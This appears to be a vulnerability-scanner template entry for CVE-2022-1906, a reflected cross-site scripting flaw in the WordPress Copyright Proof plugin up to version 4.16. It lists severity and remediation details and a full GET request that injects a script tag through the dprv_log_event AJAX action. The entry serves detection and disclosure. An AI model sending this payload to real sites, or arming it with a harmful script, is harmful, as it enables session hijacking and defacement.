| Title | WordPress Copyright Proof <=4.16 - Cross-Site-Scripting |
|---|---|
| Author | random-robbie |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website. |
| Remediation | Update to the latest version of WordPress Copyright Proof plugin (>=4.17) which includes proper input sanitization and validation. |
| CVSS Score | 6.1 |
| EPSS Score | 0.05846 |
| CVE ID | CVE-2022-1906 |
| CWE ID | CWE-79 |
| Tags | cve cve2022 wordpress xss wp-plugin wp wpscan digiprove vuln |
WordPress Copyright Proof plugin 4.16 and prior contains a cross-site scripting vulnerability. It does not sanitize and escape a parameter before outputting it back via an AJAX action available to both unauthenticated and authenticated users when a specific setting is enabled.
GET /wp-admin/admin-ajax.php?action=dprv_log_event&message=%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Connection: close
Accept-Encoding: gzip
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